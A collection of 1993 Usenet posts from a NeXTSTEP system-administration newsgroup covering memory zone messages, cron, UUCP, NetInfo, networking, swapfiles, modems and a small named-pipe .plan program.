Date: Fri, 4 Jun 93 14:00:06 GMT
I am busy debugging my SLIP connection, and have gotten the
following message lately in the Console:
Expanding zone kalloc.1024
Expanding zone kalloc.1024
What is this, and what does it mean???
Please e-mail replies.
Regards,
Thor
--
Thor Legvold | This is the strangest life
NorNeXT User Group leader | I've ever known...
University of Bergen | - Jim Morrison, The Doors
From: david@postman.gr.osf.org (David George)
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: Re: What is zone kalloc.1024???
Date: 4 Jun 1993 15:04:21 GMT
Organization: OSF RI Grenoble
Distribution: world
Message-ID: <1uno9l$s14@paperboy.osf.org>
References: <1993Jun4.140006.12679@alf.uib.no>
In article <1993Jun4.140006.12679@alf.uib.no>, edmtl@taxus.uib.no (Thor Legvold) writes:
|> I am busy debugging my SLIP connection, and have gotten the
|> following message lately in the Console:
|>
|> Expanding zone kalloc.1024
|> Expanding zone kalloc.1024
|>
|>
|> What is this, and what does it mean???
Zones are bits of preallocated memory. Doing *allocs from them is faster
than for normal memory. In this case you've exhausted your initial allocation
and it is being expanded. I guess the message is to warn about possible memory
leaks.
David.
From: stuart@oasys.dt.navy.mil (Stuart Pearlman)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: set user cron job
Message-ID: <36897@oasys.dt.navy.mil>
Date: 4 Jun 93 16:30:27 GMT
References: <ntomczak.738869643@vega> <1993May31.201150.1689@oops.se>
Organization: Carderock Division, Naval Surface Warfare Center
In article <1993May31.201150.1689@oops.se> kjell@oops.se writes:
>> A Ried Thiel (ried@NorthStar.com) writes:
>> >It is possible using NeXT's cron to have the command run as that user.
>> >0 1 * * * root su <username> -c '<program>'
>
>What does this parameter '-c' do. I can't find it under 'man cron or su'??
All arguments after the <username> get passed to the shell for that
user, so (assuming /bin/csh as the shell) the above su command
executes: /bin/csh -c '<program>'. Check the csh (or sh) man page for
a description of the -c flag.
-stuart
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Trandes Corporation +1 301 459 0200
On-Contract-To: David Taylor Research Center +1 301 227 1428
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From: thf@zelator.in-berlin.de (Thomas Funke)
Subject: Re: FUN WITH NEXTSTEP3.0, UUCP and SUPRA32BIS/42BIS
Message-ID: <1993Jun3.101716.716@gamelan>
Sender: thomas@gamelan (thomas)
Organization: NNU Corp. - NeXT is Not UN*X
References: <9306011700.AA09898@dogleg.henr.mc.Xerox.COM>
Date: Thu, 3 Jun 1993 10:17:16 GMT
In article <9306011700.AA09898@dogleg.henr.mc.Xerox.COM>
jdyer@henr.mc.xerox.com (John Dyer) writes:
>
> Many on the net suggest I get Taylor UUCP and avoid NeXT's buggy
> version. For those who have done it, what are the time constraints as
> well as risks?
>
Install it with Taylor-systemfiles, but NeXT-directory structure. I didn't find
constarints, and I'm using Taylor-uucp now for about a year. It's nice and fast
and much easier to set up.
--
------------------------------------------------------------------
Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de
The nice thing about standards is that there are so many of them to
choose from.
-- Andrew S. Tanenbaum
From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo)
Newsgroups: comp.sys.next.sysadmin
Subject: Cpu just "quits"
Date: 4 Jun 1993 18:23:43 GMT
Organization: The Ohio State University
Distribution: world
Message-ID: <1uo3vf$q7g@charm.magnus.acs.ohio-state.edu>
One of our secretary's slabs keeps "quitting" to the login window on her.
This just started. It seems to happen even more when she tries to print
something out.
(She has 20 megs of ram, and a next printer attached to her cpu) And its not
disk space, she is at 34% capacity.
Any ideas? Just to stir up any, here is her /usr/adm/messages log, or the
last 30 lines of it:
Jun 4 00:00:47 pear mach: Generic SCSI Device as sg0 at sc0 target 7 lun 7
Jun 4 00:00:47 pear mach: en0 at 0x2006000
Jun 4 00:00:47 pear mach: en0: Ethernet address 00:00:0f:01:14:00
Jun 4 00:00:47 pear mach: IP protocol enabled for interface en0, type "10MB Ethernet"
Jun 4 00:00:47 pear mach: dsp0 at 0x2008000
Jun 4 00:00:47 pear mach: np0 at 0x200f000
Jun 4 00:00:47 pear mach: sound0 at 0x200e000
Jun 4 00:00:47 pear mach: root on sd0
Jun 4 00:00:47 pear mach: master cpu at slot 0.
Jun 4 00:01:08 pear WindowServer: Problem starting the NeXTdimension.psdrvr driver. Continuing.
Jun 4 00:05:37 pear lookupd[74]: netinfo failure, sleeping
Jun 4 00:05:49 pear lookupd[74]: netinfo waking
Jun 4 07:27:26 pear wywo[227]: DPS client library error: PostScript program error, DPSContext 24128
Jun 4 07:27:26 pear wywo[227]: %%[ Error: typecheck; OffendingCommand: setfont ]%%
Jun 4 07:27:26 pear wywo[227]: DPS client library error: Invalid tag in returned object, DPSContext 24128, data 88548
Jun 4 07:27:26 pear wywo[227]: DPS client library error: Invalid tag in returned object, DPSContext 24128, data 89844
Jun 4 10:49:52 pear Preferences[225]: DPS client library error: Connection closed unexpectedly, DPSContext 541b8, data 0
Jun 4 10:49:52 pear Preferences[225]: Exiting due to Window Server death
Jun 4 10:49:52 pear Terminal[228]: DPS client library error: Connection closed unexpectedly, DPSContext 3e130, data 0
Jun 4 10:49:52 pear Terminal[228]: Exiting due to Window Server death
Jun 4 10:49:52 pear WordPerfect[229]: DPS client library error: Connection closed unexpectedly, DPSContext 1d2160, data 0
Jun 4 10:49:52 pear WordPerfect[229]: Exiting due to Window Server death
Jun 4 10:49:52 pear Workspace[223]: DPS client library error: Connection closed unexpectedly, DPSContext c814c, data 0
Jun 4 10:49:52 pear Mail[226]: DPS client library error: Connection closed unexpectedly, DPSContext 52160, data 0
Jun 4 10:49:52 pear Mail[226]: Exiting due to Window Server death
Jun 4 10:49:52 pear wywo[227]: DPS client library error: Connection closed unexpectedly, DPSContext 24128, data 0
Jun 4 10:49:52 pear wywo[227]: Exiting due to Window Server death
Jun 4 10:49:52 pear -[144]: loginwindow: Workspace exited ts 0 cd 0 rc 255 sv 0 ss 255.
Jun 4 10:49:52 pear -[144]: exiting due to unknown DPS error, code 1103
Jun 4 10:49:55 pear WindowServer: Problem starting the NeXTdimension.psdrvr driver. Continuing.
Thanks,
shane
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From: lroberts@nyx.cs.du.edu (Larry Roberts)
Subject: NXFax problem
Message-ID: <1993Jun4.181633.27396@mnemosyne.cs.du.edu>
of Denver for the Denver community. The University has neither
control over nor responsibility for the opinions of users.
Keywords: NXFax
Sender: Larry S. Roberts
Organization: Nyx, Public Access Unix at U. of Denver Math/CS dept.
Date: Fri, 4 Jun 93 18:16:33 GMT
We have recently installed NXFax (registerd) on TurboColor Nextstation
running NS 3.0 with a ZyXel modem. Currently, when we try to send
a fax, more often than not is is unsucessful. It returns the
message: Your fax could not be delivered, The remote fax machine
failed to identify itself correctly.
Has anyone else had this problem? It doesn't seem to make a difference
what machine we are sending to. Any help you can give
would be greatly appreciated. Please reply by email. Thanks.
-Larry S. Roberts
8450lsr@indy.navy.mil
lroberts@nyx.cs.du.edu
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From: (slugg jello)
Subject: Re: How can you make the clock chime?
Message-ID: <1993Jun4.045608.5239@mouthers.nwnexus.wa.com>
Sender: slugg@mouthers.nwnexus.wa.com
Organization: Mouthing Flowers
References: <1ujfkaINNciv@senator-bedfellow.MIT.EDU>
Date: Fri, 4 Jun 1993 04:56:08 GMT
In article <1ujfkaINNciv@senator-bedfellow.MIT.EDU>
gregory@brigham-circle.mit.edu (Greg Howland) writes:
> Is there a way to make the system clock chime or beep on the hour?
>
> ** Greg **
> gregory@brigham-circle.mit.edu
Check out TimeFlies by Mouthing Flowers. It will chime any sound you want, or
play a female voice telling you literally what time it is. It also has very
handy alarm features. The latest version (2.0.1) is on sonata and orst.
Doug Kent
Mouthing Flowers, Inc.
slugg@mouthers.wa.com
--
Doug Kent
Mouthing Flowers, Inc.
slugg@mouthers.wa.com
From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: puh-lease help -- NetInfo domain problems
Date: 4 Jun 1993 19:25:11 GMT
Organization: The Ohio State University
Message-ID: <1uo7in$qab@charm.magnus.acs.ohio-state.edu>
References: <C82oo5.KCD@knot.ccs.queensu.ca>
In article <C82oo5.KCD@knot.ccs.queensu.ca> dale@hecate.phy.queensu.ca (Dale Swanston) writes:
>
>Help, I'm starting to lose my mind.
>
>Here's my sad story. I was asked to set up two Nexts. My boss wanted his
>machine (machine A) to be the NetInfo server but not the mail server. So
>my machine (machine B) was manually setup as the mail server. Well
>needless to say an amateur (me) botched the job. I have mail access but
>mail forwarded from my machine to the boss' doesn't recognize any users on
>that machine.
>
>This is where the problems with NetInfo come in. I have basically 3
>domains (NetInfo domains) there's: / , /A , /B . On machine B (the
>mail server) I can view all three domains with the NetInfo Manager. But
>on machine A (the NetInfo server - supposedly) I can only view : / and
>/A. This is bad considering that the NetInfo server cannot see a domain
>it should serve. I get an error that says 'Domain selected failed to
>open' when I try to open /B.
>
>Is there any obvious reason why the NetInfo server wouldn't be able to
>open one of its domains? (Like preferences along the lines of Public
>Window Server etc). And is there a reason why the user accounts on the
>NetInfo server function properly in every other aspect except when having
>mail sent to them.
>
>[I have another problem that I think is all related to this. The
>Addresses panel in the Mail Compose window does not hold the Users on the
>system. I would have expected that at least the users on a local machine
>would be in that panel. Even with updating the mail database with the
>'mailDBupdate' command they do not appear. Is there anyway to look in
>this mail database to see what the heck is going on?]
Whoa... what I don't understand is /why/ you would have three different
domains?
Here's how we are setup:
"kiwi" is our server.
- all other machines act as clients
But if I wanted to switch the mailserver from kiwi, to one of the client
machines, then all I would do is:
Startup netinfo.app
Open up the main "domain".
click on machines. open up kiwi.
click on machines again, open up the machine that I want to be the server.
go back to kiwi, and it'll say:
name................. kiwi
mailhost
So I delete that mailhost, and add it to the new machine. That's it,
it should work. Don't forget about exporting /usr/spool/mail to any/all
machines...
If you need more help, just let me know.
shane
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From: harit@kripalu.com
Subject: rsh/rlogin permission problem
Message-ID: <1993Jun4.141919.4387@uunet!cbmvax!xmws!kripalu>
Sender: harit@uunet!cbmvax!xmws!kripalu
Organization: Kripalu Center
Date: Fri, 4 Jun 93 14:19:19 GMT
I have tried to get rsh/rlogin to trust other machines on our net to
no avail. The files /etc/passwd and /etc/hosts.equiv seem to be set
up properly but no go. Has NetInfo taken over this also? I can not
find any mention of another place to look.
--
Michael Allen Latta
Kripalu Center
harit@kripalu.com
(413)448-3288
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From: jfr@RedBrick.COM (Jon Rosen)
Subject: Re: NWE NOIR auction [was: A B I G Apology to attendees of my BOF at N.W. Expo.]
Message-ID: <1993Jun4.194236.29573@RedBrick.COM>
Sender: usenet@RedBrick.COM (Net News Account)
Organization: Red Brick Systems, Los Gatos, CA
References: <1993Jun3.051335.1962@das.harvard.edu> <1993Jun4.031321.13833@venice.sedd.trw.com>
Date: Fri, 4 Jun 1993 19:42:36 GMT
In article <1993Jun4.031321.13833@venice.sedd.trw.com> verket@venice.sedd.trw.com (Paul Verket) writes:
>Charles L. Perkins (clp@home.HarvardSq.COM) wrote:
>: ...
>: I was bidding on everything in sight at the NOIR auction and in particular,
>: absolutely HAD to have the NeXT-cable dies from the factory, which didn't
>: go on the "bidding block" until after 8 pm (the order was random).
>: ...
>
>What sorts of things were auctioned? Does anyone remember their rough
>prices?
>
>Thanks...
>Paul Verket (NeXTmail ok
Yep....
A set of juggling balls given away to NeXT employees at a company
picnic and signed by master juggler and NeXT supertrainer Randy
Nelson (Randy is a former member of the Flying Karamozovs juggling
troupe as well as being an avid NeXT advocate) went for $275.
A set of rare PS/2 NeXTstep for AIX manuals from IBM (which were
printed in limited quantities and then destroyed when IBM decided
not to ship NeXTstep) went to Mr. Perkins for $800.
Many of the 4'x4' photo-art in NeXT's corporate headquarters went
for $200 (cheapest, a picture of a NeXT slab) to $1500 (most
expensive, the optical disk). Most went for between $400 and $600.
Two black lab coats from the factory went for sonething like $300
each. The white lab coat went for (I heard this) $1500.
Eric Scott purchased 300 (count-em!!!!) little-black-NeXT-cube-
thingie-tools (if you have a cube you know what I mean) for $125!!!!
Even more amazing is a few minutes later, 100 of the same tool
went for $140!!!!!!!! (Of course, the latter item included the little
plastic trays with the tools neatly packaged, whereas Eric's were
just strewn together in a box :-)
Lotsa other nice stuff was auctioned off including mass quantities
of Mahoney/Garfinkel's book.
And Dan Lavin was in TOP form as auctioneer. (Dan, you still owe me
a backgammon game :-)
Jon Rosen
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From: jburke@bodacious.csc.wsu.edu (John L. Burke)
Subject: CD-ROM Formats - ISO9660 in particular
Message-ID: <1993Jun4.183958.10485@serval.net.wsu.edu>
Sender: news@serval.net.wsu.edu (USENET News System)
Organization: Washington State University
Distribution: na
Date: Fri, 4 Jun 93 18:39:58 GMT
Can anyone point me to a document that explains the different CD-ROM
formats? ie, block size, directory structure, etc. Does anyone know what
format the NeXT CD-ROM 3.0 System comes in? Is it Rockridge? Thanks for
any info anyone can provide.
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From: Gregory W. Gee <gee@gaul.csd.uwo.ca>
Subject: How do you execute a program from your .plan file?
Organization: Relayed-by-Sendmail
Date: Sat, 5 Jun 1993 00:45:38 GMT
Message-ID: <9306050045.AA23741@gaul.csd.uwo.ca>
To: comp.sys.next.sysadmin@newshost.uwo.ca
Sender: daemon@julian.uwo.ca (Julian System Daemon Account)
Subject is self explanitory.
Thanks.
****************************************************************************
Greg Gee gee@gaul.csd.uwo.ca
Honours Computer Science, ggee@hi_presure_lab.gp.uwo.ca
University of Western Ontario NeXT Mail accepted
>>> Developing in the NeXT generation <<<
****************************************************************************
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From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: changing my IP address
Message-ID: <1993Jun5.031434.10553@csus.edu>
Sender: news@csus.edu
Organization: San Francisco State University
References: <1undi3$lpe@venus.haverford.edu>
Date: Sat, 5 Jun 1993 03:14:34 GMT
In article <1undi3$lpe@venus.haverford.edu>
eoliver@venus.haverford.edu (Oliver Erik L) writes:
>Okay, when we installed NS 3.0 we almost concurrently put out machine on
>the Internet. I recall having serious problems with the pretty
>graphical application that allows you to choose your IP.
>
>My questions are:
> o what was the fix to the bug in the app again?
Not to use it. :-)
> o is there a way for this vi geek to just edit my old IP out of
> an /etc/something file and put in the new?
Sure. Edit /etc/hostconfig to set INETADDR=xxx.xxx.xxx.xxx
N.B.: Effective with 3.1, /etc/hostconfig is supplemented by
something called /etc/iftab, but you shouldn't have to worry
about that unless you have multiple IP interfaces (not applicable
to "black" hardware).
-=EPS=-
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From: mross@antigone.com
Subject: HashTable count????
Message-ID: <1993Jun5.033305.1037@antigone.com>
Organization: Antigone Press gateway, San Francisco
Date: Sat, 5 Jun 1993 03:33:05 GMT
The following message keeps popping up on our Console every now & then:
*** HashTable: count differs after rehashing; probably indicates a broken
invariant: there are x and y such as isEqual(x, y) is TRUE but hash(x) != hash (y)
What does this mean? We are running NS3.0 on an '040 Cube
Thanks,
Michael
--
Michael Ross
Antigone Press, San Francisco, California
e-mail: mross@antigone.com
FAX: +1 415 431 3650
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From: harit@kripalu.com
Subject: Re: rsh/rlogin permission problem
Message-ID: <1993Jun4.180114.4497@uunet!cbmvax!xmws!kripalu>
Sender: harit@uunet!cbmvax!xmws!kripalu
Organization: Kripalu Center
References: <1993Jun4.141919.4387@uunet!cbmvax!xmws!kripalu>
Date: Fri, 4 Jun 93 18:01:14 GMT
In article <1993Jun4.141919.4387@uunet!cbmvax!xmws!kripalu>
harit@kripalu.com writes:
> I have tried to get rsh/rlogin to trust other machines on our net
to
> no avail. The files /etc/passwd and /etc/hosts.equiv seem to be
set
> up properly but no go. Has NetInfo taken over this also? I can
not
> find any mention of another place to look.
> --
There seems to be a timing issue. I tried it again after a while and
it is working. The rshd server must cache the files and update them
periodically
--
Michael Allen Latta
Kripalu Center
harit@kripalu.com
(413)448-3288
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From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: How do you execute a program from your .plan file?
Message-ID: <1993Jun5.065405.19609@csus.edu>
Sender: news@csus.edu
Organization: San Francisco State University
References: <9306050045.AA23741@gaul.csd.uwo.ca>
Date: Sat, 5 Jun 1993 06:54:05 GMT
In article <9306050045.AA23741@gaul.csd.uwo.ca> Gregory W. Gee
<gee@gaul.csd.uwo.ca> writes:
> Subject is self explanitory.
There's a special place in hell for people who post that, because
(of course) it never is.
Anyway... the general answer is "you can't"--if you want
nonstandard finger behavior, you'd have to replace finger
and/or fingerd with custom versions.
Just for amusement value, however, take a look at the attached.
Run it as liveplan ~/.plan ~/.plan-save and it will rename
your .plan file to .plan-save and replace it with a named
pipe. When killed, it should put the saved .plan file back.
+ Don't try this on pre-3.0 systems--due to a stupid NeXT kernel
bug, you'll end up with processes in uninterruptible sleeps.
+ Don't use this if your home directory is NFS mounted anywhere.
+ The author takes no responsibility for the consequences of
using, misusing, or abusing this software. In fact, you'll
live longer and sleep better if you forget you ever saw it.
-=EPS=-
------- liveplan.c
#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <time.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/uio.h>
/* cc -o liveplan -object -s -O -bsd liveplan.c */
main(argc, argv)
int argc;
char *argv[];
{
void handler();
int s;
long now;
struct sigvec sv;
struct iovec iov[3];
if (argc<2||argc>3) {
(void)fprintf(stderr, "Usage: %s file [save-file]\n", *argv);
exit(1);
}
sv.sv_handler=handler;
sv.sv_mask=0;
sv.sv_flags=SV_INTERRUPT;
(void)sigvec(SIGHUP, &sv, (struct sigvec *)NULL);
(void)sigvec(SIGINT, &sv, (struct sigvec *)NULL);
(void)sigvec(SIGQUIT, &sv, (struct sigvec *)NULL);
(void)sigvec(SIGTERM, &sv, (struct sigvec *)NULL);
if (argc>2) {
if (rename(argv[1], argv[2])<0) {
if (errno==ENOENT) argc=2;
else {
perror("rename");
exit(1);
}
}
}
if (mknod(argv[1], S_IFIFO|0666, 0)<0) {
perror("mknod");
exit(1);
}
iov[0].iov_base="The local time is now ";
iov[0].iov_len=strlen(iov[0].iov_base);
iov[2].iov_base="\nThank you for playing!\n";
iov[2].iov_len=strlen(iov[2].iov_base);
if ((s=fork())<0) {
perror("fork");
exit(1);
}
if (s) exit(0);
if ((s=open("/dev/tty", O_RDWR))>=0) {
(void)ioctl(s, TIOCNOTTY, (char *)NULL);
(void)close(s);
}
for (;;) {
s=open(argv[1], O_WRONLY, 0);
if (s<0) {
if (errno==EINTR) break;
perror("open");
exit(1);
}
(void)time(&now);
iov[1].iov_base=ctime(&now);
iov[1].iov_len=strlen(iov[1].iov_base);
(void)writev(s, iov, sizeof iov/sizeof iov[0]);
(void)close(s);
(void)sleep(2);
}
(void)unlink(argv[1]);
if (argc>2) (void)rename(argv[2], argv[1]);
_exit(0);
}
void handler(sig)
int sig;
{
}
From: John.Soward@f236.n104.z1.FIDONET.ORG (John Soward)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: HOW TO CRASH ANY NEXT
Message-ID: <3274.2C0FBBA9@paranet.FIDONET.ORG>
Date: 3 Jun 93 20:44:00 GMT
Sender: ufgate@paranet.FIDONET.ORG (newsout1.26)
Organization: FidoNet node 1:104/236 - MacCircles, Genesee CO
--
John Soward - via ParaNet node 1:104/422
UUCP: !scicom!paranet!User_Name
INTERNET: John.Soward@f236.n104.z1.FIDONET.ORG
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From: uunet!sci34hub!tybrin4!holli!me (Trey McClendon)
Subject: Re: A NOVICE SEEKS ADVICE...
Message-ID: <1993Jun5.032313.7603@holli.uucp>
Sender: me@holli.uucp (My Account)
Organization: TYBRIN Corporation -- Huntsville, AL
References: <1993Jun2.082525.16192@enea.se>
Date: Sat, 5 Jun 1993 03:23:13 GMT
In article <1993Jun2.082525.16192@enea.se> mihe@gordon.enea.se (Mike Henry)
writes:
> In article <FXARS.93Jun1111312@camelot.acf-lab.alaska.edu>
fxars@camelot.acf-lab.alaska.edu (Al Sparks) writes:
> >Well, in Unix, the thing to put in your .cshrc is umask. My umask is
> >set at 022, which causes all files created in csh to be owner xwr
> >only. The thing of it is, I don't know if the .cshrc affects NS. For
> >that matter, does umask affect NS?
>
>
> > === Al Sparks
>
Also, be sure that your Edit.app preferences is the way you want it. It
can toggle between save or don't save files as being writable. See
Info->Preferences->Global Options in the manual for more info.
Trey
--
Trey McClendon, Madison, AL
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From: glen@netcom.com (Steven Kornreich)
Subject: UUCP NS/FIP
Message-ID: <glenC85nx3.EnF@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Sat, 5 Jun 1993 15:48:39 GMT
I am triing to setup UUCP on NS/FIP and I am getting an error message
"CANT OPEN cua" which is the port I have my modem connected to. I can "tip"
my modem fine. Any ideas???
Thanks
glen
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From: lange@lanai.cs.ucla.edu (Trent Lange)
Subject: Setting Kermit for ZyXEL
Message-ID: <1993Jun5.220408.13266@cs.ucla.edu>
Sender: usenet@cs.ucla.edu (Mr Usenet)
Organization: UCLA, Computer Science Department
Date: Sat, 5 Jun 93 22:04:08 GMT
I've just gotten a ZyXEL U-1496E, which works great through communicae.app.
The 16.8K ZyXEL speed to another ZyXEL is a particularly nice improvement.
However, I'm having problems getting it to work with kermit. Here is the
setup I tried using for kermit with it (changing only the speed from the
setup that worked with my old Multitech 9600 baud modem):
set line /dev/cua
set speed 19200
set modem hayes
dial <X>
It dials out, and then returns:
Failed ("RINGING")
It also did this at speed 9600, and also before and after I updated
/etc/ttys, /etc/gettytab, and /etc/remote for 19200 (even though I wasn't
sure whether one needs to change these for kermit).
Has anybody got their ZyXEL working with kermit? If so, what did you do
differently to get it to work?
Thanks,
- Trent Lange
From: dan@quiensabe.az.stratus.com (Dan Danz)
Newsgroups: comp.sys.next.sysadmin
Subject: WARNING: Re: autonfsmount dies / SLIP problem
Date: 6 Jun 1993 00:39:15 GMT
Organization: Stratus Computer Inc, Marlboro MA
Message-ID: <1urebj$hlm@transfer.stratus.com>
References: <1993Jun3.203023.3465@musical.fdn.org>
Sam Przyswa writes
> In article <36706@oasys.dt.navy.mil> curt@oasys.dt.navy.mil (Curt Welch)
> writes:
> >
> > You have to load your host name/IP address into the netinfo database. The
> > info in /etc/hosts isn't used when netinfo is running -- it's stored in
> > the netinfo database. To update it, you first need to find out whats
> > in it. You can do this by typing:
> >
> > nidump hosts . > tmp_hosts
> >
> > This saves the netinfo host data into the file tmp_hosts (which is in
> > the same format as /etc/hosts.
> >
> > Add you host and IP address to tmp_hosts, then type:
> >
> > niload hosts . < tmp_hosts
> >
> > You can also add the host using the NetinfoManager App if you now how
> > to use that.
> >
> Thanks for your reply, I try that...
>
You should beware that nidump/niload to reload the /machines directory of a
netinfo database COULD BE VERY DANGEROUS. There are a number of "properties"
that are recorded for systems, especially the "serves" property for the local
host, that are NOT handled by nidump/niload especially if the -d option is used
for niload. These two programs are meant for going back and forth to non-NeXT
systems, not for administering NeXT systems themselves.
To administer things on the NeXT systems, use the GUI apps that are provided;
specifically, NetinfoManager, and you'll see all of the properties.
If you just **HAVE TO** use the shell tools, learn to use niutil.
When I first started messing with NeXTs, the niutil way seemed the hard way,
but not after I learned my lesson the hard way. Maybe I can spare you and
others the agony of rebuilding a netinfo database.
--
L. W. "Dan" Danz (WA5SKM) VOS Mail: Dan_Danz@vos.stratus.com
Sr Consulting Software SE NeXT Mail: dan@az.stratus.com
Customer Assistance Center Voice Mail/Pager: (602) 852-3107
Telecommunications Division Customer Service: (800) 828-8513
Stratus Computer, Inc. 4455 E. Camelback #115-A, Phoenix AZ 85018
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From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: How do you execute a program from your .plan file?
Message-ID: <1993Jun6.004826.26470@csus.edu>
Sender: news@csus.edu
Organization: San Francisco State University
References: <9306050045.AA23741@gaul.csd.uwo.ca> <1993Jun5.065405.19609@csus.edu>
Date: Sun, 6 Jun 1993 00:48:26 GMT
Sigh. It's been pointed out that my "example" won't terminate if
a signal is received while servicing a request. Is this good
enough, or are you going to insist I use setjmp()? :-)
-=EPS=-
-------
*** liveplan.c~
--- liveplan.c
***************
*** 10,15 ****
--- 10,17 ----
/* cc -o liveplan -object -s -O -bsd liveplan.c */
+ volatile int ok=1;
+
main(argc, argv)
int argc;
char *argv[];
***************
*** 57,63 ****
(void)ioctl(s, TIOCNOTTY, (char *)NULL);
(void)close(s);
}
! for (;;) {
s=open(argv[1], O_WRONLY, 0);
if (s<0) {
if (errno==EINTR) break;
--- 59,65 ----
(void)ioctl(s, TIOCNOTTY, (char *)NULL);
(void)close(s);
}
! do {
s=open(argv[1], O_WRONLY, 0);
if (s<0) {
if (errno==EINTR) break;
***************
*** 70,76 ****
(void)writev(s, iov, sizeof iov/sizeof iov[0]);
(void)close(s);
(void)sleep(2);
! }
(void)unlink(argv[1]);
if (argc>2) (void)rename(argv[2], argv[1]);
_exit(0);
--- 72,78 ----
(void)writev(s, iov, sizeof iov/sizeof iov[0]);
(void)close(s);
(void)sleep(2);
! } while (ok);
(void)unlink(argv[1]);
if (argc>2) (void)rename(argv[2], argv[1]);
_exit(0);
***************
*** 79,82 ****
--- 81,85 ----
void handler(sig)
int sig;
{
+ ok=0;
}
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Setting up NeXT's in a Sun network
Date: 6 Jun 1993 07:55:33 -0500
Organization: University of Illinois at Urbana
Message-ID: <1uspgj$cf8@ux1.cso.uiuc.edu>
References: <1993Jun3.150019.1069@afs.com>
jon@afs.com writes:
>I have a question. At my school we have a network of Sun workstations. When you
>log into the Suns, your home directory is on the server, and it gets the login
>information from the server.
>What would I have to do to get a NeXT to behave the same way on this network?
>In other words, what is required to make the next get login information from
>the Sun server?
Talk to your Sun admin and tell them that you have a machine you
want to add that supports NIS and NFS. Add a + to your /etc/passwd
file (at the end), and the rest - act like it's a Sun except for
adding the mounts in Netinfo's /mounts directory. If they use an
automounter, it could be a bit trickier, but the NeXT automounter
acts very much like the Un's. (except that its accounting info is
in netinfo)
In any event, this is all documented very well in the chapter on
integrating into a heterogeneous environment in the N&SA manual.
--
David Lemson (217) 244-1205
University of Illinois Computing & Comm Services Office System Administrator
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
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From: juan@apple.com (Juan Pineda)
Subject: Help! NeXT hangs when using AppleTalk with NS3.0
Message-ID: <1993Jun6.121307.478@logician.com>
Sender: juan@logician.com
Organization: logician.com
Date: Sun, 6 Jun 1993 12:13:07 GMT
Help!
My NeXT Cube hangs frequently when I try to copy files over AppleTalk to my Mac
IIFX. The hang is so severe that the Cube won't respond to the halt command
after a command-command-tilde. The only solution is to take the system down to
the monitor and reboot. My NeXT is running NS3.0 and my FX is running system
7.0.1. The FX has a standard Apple manufactured Ethernet card.
Are other users of Apple Talk seeing the same problem? Is there any way to
make it work better? Any help would be greatly appreciated.
Juan
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From: cedman@princeton.edu (Carl Edman)
Subject: Re: How do you execute a program from your .plan file?
In-Reply-To: eps@futon.SFSU.EDU's message of Sun, 6 Jun 1993 00:48:26 GMT
Message-ID: <CEDMAN.93Jun6105313@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Fcc: nextmail
Organization: Princeton University
References: <9306050045.AA23741@gaul.csd.uwo.ca> <1993Jun5.065405.19609@csus.edu>
<1993Jun6.004826.26470@csus.edu>
Date: Sun, 6 Jun 1993 15:53:13 GMT
In article <1993Jun6.004826.26470@csus.edu> eps@futon.SFSU.EDU (Eric P. Scott) writes:
Sigh. It's been pointed out that my "example" won't terminate if
a signal is received while servicing a request. Is this good
enough, or are you going to insist I use setjmp()? :-)
No, really you should use the new finger/fingerd available from
nova.cc.purdue.edu. From the README file:
"This solution for the same problem has at least three advantages over
the commonly used one of named pipes.
a) Named pipes require a constantly running daemon process
b) This solution also works if the home directories are NFS
mounted
c) NeXT doesn't support named pipes. [At least under 2.x]"
Carl Edman
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From: root@gbo.cern.ch (Operator)
Subject: Re: Using the internal for swapfile
Message-ID: <1993Jun6.163042.2121@dxcern.cern.ch>
Sender: news@dxcern.cern.ch (USENET News System)
Organization: CERN European Lab for Particle Physics
References: <1993May28.225957.4950@leland.Stanford.EDU>
Date: Sun, 6 Jun 1993 16:30:42 GMT
In article <1993May28.225957.4950@leland.Stanford.EDU>
spagiola@frinext.stanford.edu (Stefano Pagiola) writes:
> I now have a large external and am using that as a boot disk. I want
> to use the internal for the swapfile. Is it correct that I should
> mount it at /private/vm/swapfile?
>
> Ciao, Stefano
> --
> -
> Stefano Pagiola
> Food Research Institute, Stanford University
> spagiola@frinext.stanford.edu (NeXTMail encouraged)
> spagiola@FRI-nxt-Pagiola.stanford.edu (NeXTMail encouraged)
I have exactly the same situation. I enlarged the swapfile system by
replacing the single line in the original swaptab file with the 2 lines:
/Next_2.1/private/vm/swapfile lowat=5024288,hiwat=41943040,prefer
/private/vm/swapfile lowat=524288,hiwat=5024288
i.e: the preferred swapdisk is the internal one and is labeled Next_2.1;
the swapfile is 5 MBytes minimum, 40 Mbytes Maximum. The second swapdisk
is the internal one; it has a small swapfile: 0.5 Mbytes minimum, 5 Mbytes
maximum.
I also modified the fstab file, which now contains the lines
/dev/sd0a / 4.3 rw,noquota,noauto 0 1
/dev/sd1a /Next_2.1 4.3 rw,noquota 0 2
The new swapping system works much better now. But still, expecially with
graphic-intensive application, sometimes it gets full, bringing the
machine to a freeze. This is a well known infamous feature. Shame to NeXT.
Let's hope it will be fixed in Version 3.1.
Gian Franco Non-NeXT mail: gfranc@dxcern.cern.ch
Newsgroups: comp.sys.next.sysadmin
From: thf@zelator.in-berlin.de (Thomas Funke)
Subject: Re: How can you make the clock chime?
Message-ID: <1993Jun5.190050.1520@gamelan>
Sender: thomas@gamelan (thomas)
Organization: Disorganization
References: <1ujfkaINNciv@senator-bedfellow.MIT.EDU>
Date: Sat, 5 Jun 1993 19:00:50 GMT
In article <1ujfkaINNciv@senator-bedfellow.MIT.EDU>
